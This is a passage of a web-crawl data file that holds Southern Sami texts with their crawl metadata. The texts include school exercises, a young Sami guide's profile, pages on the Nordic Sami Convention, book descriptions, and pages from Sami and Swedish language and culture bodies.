goerehtidh goske maahta mubpiejgujmie laavenjostedh, teektsh sjugniedidh jïh daajroem vejtiestidh viehkine veedtjedh, goerehtidh jïh laejhtehkslaakan vuarjasjidh bïevnesh ovmessie englaantengïeleldh gaaltijijstie.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.udir.no\/lk20\/eng01-04\/om-faget\/grunnleggende-ferdigheter?lang=sma","date":"2023-05-28T23:07:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224644571.22\/warc\/CC-MAIN-20230528214404-20230529004404-00603.warc.gz","language":"sma","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000087022781372}","num_words":269,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.114,"stopwords_ratio":0.186,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mov nomme Inga Maret Solberg Åhrén jïh leam 19 jaepien båeries. Manne reakadamme jïh byjjenamme Romsesne, men maanabaelien leam Guovdageaidnusne orreme jïh såemies boelhkh aaj internaatesne Snåasesne. Daelie Kongsbakken jåarhkeskuvlem illeme Romsesne jïh damtim manne daarpesjim ånnetji realfaagijste jïh skuvlen aarkebiejjeste lïegkedidh.\nMov aehtjie bovtsh åtna Saepmien sveerjen bielesne guktie desnie leam jïjnjem orreme, joekoen giesege, giesien ellen bööremes tïjjen, gidtjh mïerhkesjimmie. Eatnamisnie jïh vaeresne manne tjarke tråjjedem. Jienebelåhkoe Romsesne, gusnie leam byjjenamme leah nöörjen, mearan muvhth leah saemieh. Mov aarkebiejjien dïhte nöörjen jïh saemien identiteete leah sinsitnine gårreldahkesne. Dagke ij leah naemhtie gaajhkesidie mah siebriedahkine byjjenieh gusnie dïhte saemien ij leah jienebelåhkoe, men manne sïjhtem vuesiehtidh man hijven gåarede jieledh gåabpaginie bieline læjhkan.\nJuktie leam Romsesne byjjenamme gusnie doh jeanatjommesh leah nöörjen leam daamtaj tjoereme tjïelkestidh jïh soptsestidh saemien kultuvren bïjre. Saemien kultuvre lea stoerre jïh gellielaaketje jïh gelliej joekehtsigujmie, jïh manne tuhtjem vihkeles dam soptsestidh. Dan åvteste dan joekoen hijven aktem barkoem utnedh gusnie åadtjoem dan saemien bïjre soptsestidh. Lissine gïele jïh båatsoe aaj stoerre aarvoem munnjien utnieh.\nManne gegkestem daate jaepie goh tsïegle akte hijven jaepie sjædta gusnie åadtjoem buerebe daajroem dan saemien bïjre vedtedh noeride Nöörjesne. Lissine gujht åadtjoem jïjtje aaj lïeredh, dovne jïjtjene bïjre jïh jeatjah aati bïjre.\nNjieljie varke gyhtjelassh:\n1. Maam 10 jaepine darjoeh?\nLuhkine jaepine manne gegkestem leam jïjnjem lustem dååjreme jïh barkoem jïh aarkebiejjiem åtnam mesnie tråjjedem. Lissine gegkestem manne væjkalåbpoe sjïdteme sjeakodh jïh aareh tjuedtjielidh. Lij aaj hijven orreme jis vielie vissjeles sjïdteme vytnesjimmine.\n2. Maam darjoeh jis naaken datnine flöörtede aktene håaloemisnie datne höölth?\nSååjhtoe manne varke bååstede vaestedem aktine lahtestimmine, men im vïenhth dan jïjnje vielie sjædta.\n3. Mah tv-raajroeh sïjhth hotellesne vuartasjidh gosse dov lea astoeaejkie skuvlevaaksjomi gaskem?\nManne dan joekoen nåake meatan fulkedh raajrojde, joekoen jis dah leah guhkie jïh jienebi boelhkigujmie. Vuestelen podkasth goltelem! Akte mov lyjhkedepodkastistie lea Synnøve jïh Vanessan podkaste jïh Friminutt.\n4. Maam saemien åahpetjidie datne buaresjh?\nHmm, geerve gyhtjelasse, ij leah dan joekoen budtsie-baedtse dagkerh. Men lyjhkem Kitoken teeksth jïh Maxida Märeken musihkem. Lissine hævvi luste meatan joejkedh Felgen Orkesteren musihkese.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/samiskeveivisere.no\/sma\/veiviser\/inga-solberg-ahren-3\/","date":"2023-05-29T22:26:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224644913.39\/warc\/CC-MAIN-20230529205037-20230529235037-00051.warc.gz","language":"sma","language_score":1.0000041723,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.0000041723251343}","num_words":334,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.153,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lohkh dam rååresjamme raeriestimmiem Noerhtelaanti Saemiekonvensjovnese (PDF, 284 kB)\nBijjemes ulmie konvensjovnine lea saemieh edtjieh maehtedh sijjen kultuvrem vaarjelidh, nuhtjedh jïh evtiedidh dan vaenie heaptojne laanteraastijste goh gåarede. Konvensjovneraeriestimmesne tjïjhtje kapihtelh teemaj bïjre 1) Saemien åålmegen sïejhme reaktah, 2) Jïjtjenænnoestimmie, 3) Gïele jïh kultuvre, 4) Eatneme jïh tjaetsie 5) Jielemh, 6) Tjirrehtimmie konvensjovneste, 7) Nænnoestimmieh vuelietjaelemen, ratifikasjovnen, hiejhtemen jïh vielie bïjre\nRaeriestimmie noerhtelaanti saemiekonvensjovnese lea sïejhme nöörjen reaktan jïh Nöörjen åålmehrïekteles åeliedimmiej mietie, jïh seamma tïjjen tjyölkehkåbpoe jïh vielie sjïehtedamme noerhtelaanti-saemien tseahkan.\nKonvensjovneteekstesne tjåådtje saemiedigkieh edtjieh konvensjovnem åadtjodh vuelietjaelemen åvtelen. Konvensjovnen åvtebaakosne aaj tjåådtje saemiedigkieh tjuerieh sijjen jååhkesjimmiem vedtedh konvensjovnese.\nKonvensjovneraeriestimmie aaj sjïehteladta akte barkoedåehkie mij lea vïedteldihkie orgaanese Nordiska ämbetsmannsorganet för samiska frågor edtja tjirrehtimmine konvensjovneste guhkiebasse barkedh. Barkoedåehkie edtja lïhtsegh utnedh mejtie fïereguhte staate jïh saemiedigkieh nammoehtieh jïh mah tjirkijinie sjidtieh fïereguhte staateste jïh saemiedigkeste. Dïhte guhkiebasse barkoe edtja dialogen tjirrh darjodh dejnie ulmine sïemes sjïdtedh vuekiej bïjre mah konvensjovnem eevtjieh.\nNöörjen rååresjimmiedelegasjovnesne lij göökte tjirkijh Tjïelte- jïh orrestimmiedepartemeenteste, akte tjirkije Ålkoerïjhkedepartemeenteste jïh göökte tjirkijh Saemiedigkeste.\nDuekie\nAkte noerhtelaanti tjiehpijedåehkie sov raeriestimmiem noerhtelaanti saemiekonvensjovnese böökti tjaktjen 2005.\nTjiehpijedåehkien raeriestimmie lij govlehtimmesne dejnie golme noerhtelaantine voestes bielien jaepeste 2006. Ministerh mah leah tjåadtjoehtæjjah saemien aamhtesi åvteste Soemesne, Nöörjesne jïh Sveerjesne, jïh saemiedigkiepresideenth dejnie golme laantine, sjæjsjalin barkoem noerhtelaanti saemiekonvensjovnine jåerhkedh jaepien 2006, aalkoelisnie jåerhkedh nasjonaale barkoen tjïrrh govlehtimmiejgujmie jïh konsekvenseanalyjsigujmie.\nBarkoedåehkie tjirkijigujmie don baelien Barkoe- jïh iktedimmiedepartemeenteste, Justijsedepartemeenteste, Ålkoerïjhkedepartemeenteste jïh Saemiedigkeste konvensjovneraeriestimmine guhkiebasse barkin Nöörjesne. Tjiehpijedåehkien reektehtsen jïh govlehtimmielahtesi gaavhtan barkoedåehkie konvensjovneraeriestimmiem systematihkeles gïehtjedi, jïh raeriestimmien njoelkedassh nasjonaale reaktan jïh åålmehreaktan vööste vuarjasji. Barkoedåehkie sov reektehtsem böökti golken 3.b. 2007.\nMinistere- jïh saemiedigkiepresideentetjåanghkosne tjaktjen 2008 seamadin barkojne nierhkedh juktie vuejnedh guktie maahta eventuelle konvensjovnerååresjimmieh rïektesisnie tjirrehtidh. Noerhtelaanti embeeteorgaane saemien gyhtjelasside (NÄS) dan mænngan raeriestimmine barki akten maallen bïjre eventuelle rååresjimmide\nNöörje, Sveerje jïh Soeme leah konvensjovnen bïjre rååresjamme 2011 mænngan, dejnie ulmide rååresjimmieh edtjin gaervies årrodh 2016.\nGeir Ulfsteinen reektehtse Noerhtelaanti saemiekonvensjovnen bïjre (PDF, 131 kB)\nHans Daneliusen vuarjasjimmieh Noerhtelaanti saemiekonvensjovne bïjre (PDF, 721 kB)\nRauna Kuokkanen reektehtse Noerhtelaanti saemiekonvensjovnen bïjre (PDF, 175 kB)\nMattias Åhrénen reektehtse Noerhtelaanti saemiekonvensjovnen bïjre (PDF, 951 kB)\nMartin Scheininen reektehtse Noerhtelaanti saemiekonvensjovnen bïjre (DOCX, 49 kB)","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/sametinget.no\/gaskenasjonaale-barkoe\/saemien-laavenjostoe\/noerhtelaanti-saemiekonvensjovne\/","date":"2023-10-01T11:49:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510888.64\/warc\/CC-MAIN-20231001105617-20231001135617-00275.warc.gz","language":"sma","language_score":0.9999828339,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999828338623047}","num_words":333,"character_repetition_ratio":0.12,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.144,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laavenjassh teemese Kultuvre jïh identiteete.\nDatne joekehts teeksth lohkeme ovmessie sjangerinie, jïh teekstigujmie barkeme. Vaestedh gyhtjelasside.\nMij saemien lidteratuvre, dov mïelen mietie?\nGie tjaelije jïh gïese tjaala?\nMennie gïelesne tjaelije tjaala jïh man bïjre tjaala?\nJis saemien tjaelije daaroen-gïelesne tjaala, dellie saemien lidteratuvre? Mannasinie, mannasinie ij?\nDov mïelen mietie saemien lidteratuvre lea, saaht man bïjre saemien tjaelije saemien-gïelesne tjaala? Mannasinie, mannasinie ij?\nDov mïelen mietie vihkele saemien lidteratuvre daaroen-gïelesne aaj tjaalasåvva juktie jienebh almetjh maehtieh dam lohkedh? Mannasinie, mannasinie ij?\nDigkedh\/ tjaelieh mah åarjel-saemien lidteratuvrh daan biejjien tjaalasuvvieh.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/nb\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:8bfb17e8-b081-476d-8e00-49f219ef5de3\/topic:2:6b2d1ccd-f72c-4f6a-bd36-ced187523dba\/resource:4f52ba76-604c-4d20-9c80-06a49b233f07","date":"2023-09-22T07:42:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506339.10\/warc\/CC-MAIN-20230922070214-20230922100214-00124.warc.gz","language":"sma","language_score":0.999994874,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999948740005493}","num_words":88,"character_repetition_ratio":0.131,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.17,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Naemhtie meänkieli, saemien gïelh jïh daaroen\/svïenske gïele Polarbibblosne provhkesuvvieh!\nDarjoeh maam akt Polarbibblosne\nDïhte vihkielommesh Polarbibblose leah datne. Sïjhtebe datnem jïh jeatjah maanide dåarjodh gosse mij joem sïjhtede skaepiedidh. Aaj sïjhtebe datnem haestedh lohkedh jïh dam dov gïelem nuhtjedh dovne teekstine, tjoejine jïh guvvine.\nDah geerve almetjh gïeh datnem Polarbibblosne viehkiehtieh gåhtjoeh redaktöörh. Dah redaktöörh edtjieh datnem eensilaakan vaestiedidh guktie vihth sïjhth Polarbibblom nuhtjedh. Jis vaastoem åadtjodh tjoerh aktem kontom mijjen luvnie utnedh. Dellie dåtnoeh redaktöörh maehteden sinsitnine soptsestalledh dan bïjre maam diekie saahteme.\nGaajhkh maanah jïh noerh maehtieh ovmessie diekie saehtedh saaht gïelem lïereminie jallh joe gïelem maehtieh. Vuesiehtimmien gaavhtan maahtah diktem jeatjene gïelesne tjaeledh gusnie barre naan gïlle baakoeh. Polarbibblosne aaj åadtjoeh baakoestidh guktie sïjhth jalhts ij leah staaran. Redaktöörh datnem viehkiehtieh guktie dïhte dov gïele aelhkie sjædta jeatjabidie guarkedh.\nSisvege Polarbibblosne\nEvtemes gaajhke Polarbibblosne edtja maanijste dorjesovveme jïh maanide årrodh. Gosse dah geervh tjaelieh dellie soptsestieh vuerpiej bïjre, njoelkedassh jïh dagkerh.\nPolarbibblosne maahta lohkedh, tjaeledh jïh spealadidh gelline gïeline enn daaroen\/sveerjengïelesne. Mijjen luvnie daah saemien gïelh julevsaemien, noerhtesaemien, bidumsaemien, åarjelsaemien jïh ubmejesaemien. Daesnie aaj meänkieli dan ovmessie variteeth: tornedalsvarietete, gällivarevarietete jïh lannankieli. Muvhten aejkien aaj jeatjah gïelh Polarbibblosne.\nHijven gåarede gïelh mistedh.\nFïerhten gïelen lea jïjtse dyjre Polarbibblosne:\nÅeruve: Julevsaemien\nRiepie: Meänkieli (tornedalsvarietete)\nNjoktje: Meänkieli (gällivarevarietete\/byfinska)\nTjoevtje: Meänkieli (lannankieli)\nTjetskie: Noerhtesaemien\nSnjågloe: Daaroen\/svïenskegïele\nNjååmele: Åarjelsaemien\nRïeksege: Upmejesaemien\nTjaktja: Bidumsaemien\nÅarjelsaemien sæjrosne aaj upmejesaemien gååvnese. Vuartesjh rïeksegem!\nJulevsaemien sæjrosne aaj bidumsaemien gaavnh. Vuartesjh tjaktjam!\nMeänkielisæjrosne jïjnjemes tornedalsvarietete. Jis sïjhth maam gaavnedh gällivarevarietetesne, vuartesjh njoktjen mietie. Tjoevtje baalkam lannankieli sisvegasse vuesehte.\nGaajhkh gïelh sajtesne seamma stoere aarvoe jïh sæjroeh maehtieh ovmessielaakan vååjnoeh jïh ovmessie darjomh. Guessine edtjh iktesth maam joem gaavnedh mij dutnjien sjeahta.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.polarbibblo.se\/sma-se\/gielepolicy-maanide\/","date":"2023-10-04T09:48:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511364.23\/warc\/CC-MAIN-20231004084230-20231004114230-00872.warc.gz","language":"sma","language_score":1.0000041723,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000041723251343}","num_words":275,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dah mubpien bealan vuartasjieh\nAnne Lene Turi & Margrethe Bals\nGærja lea noeride. Gærja aaj galka learoehkidie jïh lohkehtæjjide haestedh edtjieh ussjedalledh jïh digkiedidh mij neerrehtimmie lea, jïh mannasinie mijjieh neerrehtibie. Gaajhkesh, dovne maanah, noerh jïh geervealmetjh leah neerrehtimmiem vaaseme. Neerrehtimmie lea skuvli jïh aaj siebredahki dåeriesmoere. Ulmie lea neerrehtimmien bïjre åssjoem juhtiehtehtedh. Daate lea voestes gærja dennie tjaalegeraajterisnie maam ČálliidLágádus buakta.\n2010\nInnbundet:\nSider: 43\nČálliidLágádus","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.gavpi.org\/barn-og-ungdom\/192-dah-mubpien-bealan-vuartasjieh.html","date":"2023-10-03T13:58:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511106.1\/warc\/CC-MAIN-20231003124522-20231003154522-00320.warc.gz","language":"sma","language_score":0.9998987913,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9998987913131714}","num_words":64,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.219,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n2014\nGiele\nISBN\n9788273749536\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n104\nAamhtesegærja maanide beapmoen jïh healsoen bïjre.\nAamhtesegærja maanide man teeksth, guvvieh, soptsesh jïh laavenjassh. Gærjan ulmie lea beapmoen jïh healsoen bïjre soptsestidh. Gærja saemien vuajnoeraedteste tjaaleldh jïh bïhkemde guktie jïjtje maahta beapmoeh reebledh, tjöönghkedh jallh ihkie möörjedh, jïh guktie jïjtje dejtie beapmojde darjodh jïh jurjiehtidh. Eatnemevaarjelimmie, ekologijes raejnies beapmoe, juvrevaartjeskehteme jïh globaale beapmoetsiehkie muvhth dejstie aamhtesijstie mah daan gærjan jarngesne.\nGærja beapmoen måedtiem bieliem byjjebasse lutnjie. Gærja maanide vuaptastahta magkeres beapmoem dam maam sijjieh byöpmedeminie, gubpelde beapmoe dalva jïh guktie lïhkesdajven beapmoem nuhtjedh. Gærjeste raerieh gaavna guktie hijven beapmoeh jurjiehtidh lïhkesdajven beapmojste.\nRaajrosne Dádjat! dellie daah gærjah olkese vadtasovveme:","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ovttas.no\/sma\/girji_dovdda-maid-borat","date":"2023-10-02T18:57:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511002.91\/warc\/CC-MAIN-20231002164819-20231002194819-00784.warc.gz","language":"sma","language_score":0.999989748,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999897480010986}","num_words":115,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Darjoeh laavenjasside kronihkese «Tïjje båateme gaatelassjedh» maam Inge Even Danielsen lea tjaaleme. Kronihke lea plaereste Adresseavisen (2017).\nLohkh kronihkem «Tïjje båateme gaatelassjedh», maam Inge Even Danielsen tjaaleme. Vaestedh gyhtjelasside.\nGie lea tjaelije jïh gubpede båata?\nGåessie jïh gusnie tjaala, jïh mennie gïelesne?\nMaam tjaelije laajhta jïh mah dåastojh sæjhta kronihkine jaksedh?\nMaam tjaelije saemien histovrijen bïjre beavna?\nJis tjaelije sïjhteme saemien lohkijh jaksedh, dellie jeatjahlaakan tjaaleme?\nDatne vïenhth saemieh jïh daaroeh joekehts vuajnoeh jïh mïelh saemien aamhtesi bïjre utnieh?\nDatne vïenhth åarjel-saemieh naan aejkien gaatelassjem åadtjoeh? Man åvteste, man åvteste ij? Buerkesth.\nDigkedh\/ tjaelieh guktie saemieh jïh saemien aamhtesh vååjnesasse båetieh medijisnie daan biejjien?","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/nb\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:8bfb17e8-b081-476d-8e00-49f219ef5de3\/topic:2:6b2d1ccd-f72c-4f6a-bd36-ced187523dba\/resource:ef6156d4-aafb-4227-b5c4-2fbf253c7f9b","date":"2023-09-22T07:06:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506339.10\/warc\/CC-MAIN-20230922070214-20230922100214-00870.warc.gz","language":"sma","language_score":1.0000023842,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000002384185791}","num_words":103,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.165,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije Sametinget i Finland Vaadtasovvemejaepie 2010 Faage Saemien 1 Saemien 2, 3 jïh 4 Finlaanten gïele Daltese 5-7 8-10 VGS Giele Jeatjah saemien gïelh Soemengïele Noerhtesaemiengïele ISBN 9789524412117 Formaate Sïejhme gærja Reakta-aajhtere Sametinget i Finland Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 115 Aamhtesh Eatnemelearoe Åålmege jïh laanth Kultuvre Litteratuvre Saemiengïele Gïelh jïh smaaregh heevehtslitteratuvre Viehkiebaakoe Enaresaemiengïele Luvliesaemien","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ovttas.no\/sma\/girji_mu-sapmi-jagi-2030","date":"2023-09-23T04:51:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506479.32\/warc\/CC-MAIN-20230923030601-20230923060601-00028.warc.gz","language":"sma","language_score":0.9996699095,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9996699094772339}","num_words":49,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.183,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Juakasovveme Bertije Aajege Faage Saemien 1 Saemien 2, 3 jïh 4 Daltese Maanagïerte SAÖ 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Åarjelsaemiengïele Formaate Jeatja Reakta-aajhtere Aajege Reaktah Gaajhkh reaktah leah doelehtovveme Aamhtesh Aerpiemaahtoe Njaalmeldh kultuvre Eatnemelearoe Geologije Kaarhte Aarhte jïh daajroe Matematihke Siebriedahke Skuvle jïh ööhpehtimmie Saemiengïele Grammatihke Viehkiebaakoe Spïele","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_aarjelsaemien-spielh","date":"2023-09-23T11:06:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506480.7\/warc\/CC-MAIN-20230923094750-20230923124750-00244.warc.gz","language":"sma","language_score":0.999910593,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999105930328369}","num_words":43,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mij vaarjelimmievyörtegs saemien gåetie?Bigkeme 1917 mænngan, men læjhkan sveekes jallh sjïere sov baelien. Såemies dejstie saemien gåetijste mah leah nuerebe goh 1917 mænngan, leah vaarjelimmievyörtegs. Maahta dejtie jieliemidie, heannadimmide jallh jieledevuekide ektiedidh mah leah sjïere don tïjjese 1917 mænngan. Såemies vuesiehtimmieh maehtieh gååvnesidh mah leah jieliemisnie åtnasovveme, goh leekedimmiegåetieh jallh gueliedåastovh. Dah aaj gååvnesieh dej gåetiej gaskem mah tseegkesovvin mubpien veartenedåaroen mænngan. Noerhte-Romsesne jïh Finnmarhkesne mahte gaajhkh gåetieh buelielin 1944. Dah mah idtjin buelelh aaj sjïere aarvoem utnieh. Naakenh dejstie leah aajnehke vuesiehtimmie guktie gåetieh dåaroen åvtelen vååjnin sijjen voenesne. Veileder: Verneverdige samiske bygninger i kommunale kulturmiljøplaner og kommunal saksbehandling (PDF, 3 MB) Oversikt over verneverdige bygningstyper (PDF, 878 kB)","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/sametinget.no\/kultuvremojhtese-jih-gaetievaarjelimmie\/vaarjelamme-jih-vaarjelimmievyortegs-gaetieh\/mij-vaarjelimmievyortegs-saemien-gaetie\/","date":"2023-09-29T01:30:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510462.75\/warc\/CC-MAIN-20230928230810-20230929020810-00083.warc.gz","language":"sma","language_score":0.9999169111,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999169111251831}","num_words":104,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.144,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien voestesgïeline (BF jåa1\/jåa2)\nTjaeledh\nGosse datne tjaalah, dellie maahtah dov tjaalegem soejkesjidh, jeatjahtehtedh jïh bueriedidh. Mujhtieh dah mah dov tjaalegem luhkieh, eah maehtieh datnem gihtjedh jis ih tjïelke tjaaleme. Hijven tjaeleme teekste lea buerie viehkie lohkijasse jïh aaj luste lohkedh.\nGuktie argumentereles teeksth tjaeledh\nGosse mijjieh sïjhtebe mubpide tsevtsedh jallh jaehkiehtidh dellie tjoerebe argumenteradidh. Gosse argumenteradibie dellie maehtebe digkiedimmie-lahtesem, digkiedimmie-artihkelem jallh lahtestimmiem nuhtjedh.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/nn\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:2:2bd24a78-b09c-4249-b9a2-a98e6364bfd9\/","date":"2023-09-30T00:28:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510529.8\/warc\/CC-MAIN-20230929222230-20230930012230-00216.warc.gz","language":"sma","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000054836273193}","num_words":64,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sáminuorra organisasjovne mij ij leah partipolitihkeles jallh religiovnine gorreldihkie jïh gaajhkide saemien noeride barka. Ektesne gaavnedimmiesijjieh dovne Saepmesne jïh Saepmien ålkoelisnie skaepiedibie jïh sïjhtebe ektievoetem jïh nuepieh båetije biejjide buektedh. Sïjhtebe kultuvrem, gïelem, identiteetem jïh jijtjedomtoem nännoestidh dan tjïrrh noerh eadtjalgehtedh gyhtjelassi bïjre mah vihkeles dejtie, saaht gustie jallh mejnie båata. Lihtseginie Sáminuorresne datne meatan dov båetije biejjide tsevtsedh!\nSáminuorra darjomem åtna dovne Saepmien rastaj sjisjnjelen jïh ålkolen. Mijjieh tjåanghkoeh, konferansh jïh seminaarh öörnebe. Mijjen lokaalegoevtesh daamhtah öörnegh jïh nuepieh öörnieh guktie lihtsegh maehtieh gaavnedidh. Mijjieh aaj gellie gieltege prosjekth evtiedibie.\nSïjhth Sáminuorresne eadtjaldovvedh? Mij gyhtjelasside dutnjan vihkeles? Raeriem prosjekti bïjre jallh åssjelommh maam maehtebe lihtsgidie darjodh? Gaskesadtedh mijjem! Sáminuorran lihtsegh dah gïeh mijjem stuvrieh jïh eadtjohke noeride jïh orre åssjalommh hävvi lyjhkebe.","id":"","dump":"CC-MAIN-2023-40","url":"http:\/\/www.saminuorra.org\/aarjelsaemien\/","date":"2023-09-23T03:11:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506479.32\/warc\/CC-MAIN-20230923030601-20230923060601-00380.warc.gz","language":"sma","language_score":0.999981761,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999817609786987}","num_words":123,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.13,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åejvieladtje bïjre\nInstitute gïele jih almetjemojhtesh (Isof) lea staateles åejvieladtje Sveerjesne. Mijjieh tseegkebe, tjöönghkebe jih maahtoem Sveerjen gïele jih kultuvren bïjre bievnebe.\nTjiehpieåejvieladtje\nMijjieh tjiehpie sveerjen gïelesne jih smaarehtjïerth dah nationelle unnebelåhkojde, såevmie, jiddisch, meänkieli, jih romska jih sveerjen vähta gïele. Mijjien tjiehpie aaj dajvenommh, almetjenommh, kultuvrh jih vuekiej bïjre Sveerjesne. Mijjieh gaajhkh almetjidie jih viehkiedirrege gellieh barkoedåehkide, siebrieh, jih organisasjovnide. Mijjieh viehkie reerenassese jih laatjobe jih raeriestibie jih jeatjah åejvieladtjede dåarjobe.\nMijjieh dotkebe jih maahtoeh tseegkebe\nMijjieh dotkebe, tjïelkestibie jih raeriestibie mijjien tjiehpiedajvi bïjre. Mijjieh orre maahtoe dajvh tseegkebe jih vihkeles siebriedahke gyjhtjelasside lutnjeste mijjjien tjiehpiemaahtoe daan gïelepolitihken jih kultuvrepolitihken ulmie mietie.\nMijjieh vaarjelibie jih maahtoem tjöönghkebe\nMijjieh gïelide, nommenuhtjeme jih kultuvreaerpiem vaarjelibie. Mijjieh siebredahken evtiedimmem dåeriedibie gïele jih kultuvren bïjre jih vaajesh jih maahtoeh mijjien tijjen bïjre tjöönghkebe. Mijjien fysiske jih digitaale våarhkoe lea jielije mojhtesebaanghke gaajhkide.\nMijjieh raeriestibie jih maahtoem heesebe\nMijjieh raeriestimmiem raeriestibie jih gyjhtjelasside vaestiedibie sïejhme, presse, jih barkijh. Mijjieh lusteslaakan lïerebe jih gaajhkesidie nuepiem vedtebe jih Sveerjen gïelem jih kultuvrem hammoedidh.\nBarkoe reerenasseste\nDihte lea sveerjen reereme mij Isofs barkoen bïjre nännoeste. Reerenasseste fïerhten jaepien öörneme prieviem åadtjobe mij 